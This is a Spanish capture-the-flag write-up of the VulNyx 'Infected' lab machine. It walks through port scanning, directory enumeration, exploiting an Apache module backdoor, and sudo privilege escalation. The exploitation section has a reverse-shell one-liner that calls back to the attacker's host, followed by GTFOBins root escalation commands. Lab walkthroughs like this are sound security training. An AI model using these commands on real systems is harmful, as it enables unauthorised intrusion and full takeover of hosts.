> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/infected.md).

# Infected

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.72
```

para verificar la conectividad de red.

<figure><img src="/files/U8vE1sq77QYYSZyjU0W1" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.72 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/LfJL4il72SEwDnDwcvM0" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.72
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/CV4HA1Cpa9esk8d1Ug9x" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80 que es la página por defecto de Apache.

<figure><img src="/files/VgLdd0sgWUVMyS4BO7gb" alt=""><figcaption></figcaption></figure>

Revisamos directorios.

```bash
dirb http://192.168.1.72
```

<figure><img src="/files/oWtzcGS7nEnioOahCkzl" alt=""><figcaption></figcaption></figure>

Revisamos el **info.php**.

<figure><img src="/files/uEvdcehxnJwpQJxch5uC" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Revisando más a fondo encontramos que es un **Backdoor**.

<figure><img src="/files/IoYkoUpKRiIHCRFUlFdR" alt=""><figcaption></figcaption></figure>

{% @github-files/github-code-block url="<https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor/blob/main/exploit.py>" %}

Ejecutamos.

```bash
./exploit.py 192.168.1.72 80
```

Lanzamos un RCE.

```bash
bash -c "bash -i >& /dev/tcp/192.168.1.65/443 0>&1"
```

<figure><img src="/files/YLGIWhElu3IU6gzylhUD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MMm0DVdaHJydKXmp4d6Z" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/QntYlRzzqp8x35b6j1kv" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/service/#sudo>" %}

```bash
sudo -u laurent /usr/sbin/service ../../bin/sh
```

{% embed url="<https://gtfobins.github.io/gtfobins/joe/#sudo>" %}

```bash
sudo /usr/bin/joe
^K!/bin/bash
```

<figure><img src="/files/mSjxVJfdLk7MRoZ7Mk1l" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/infected.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
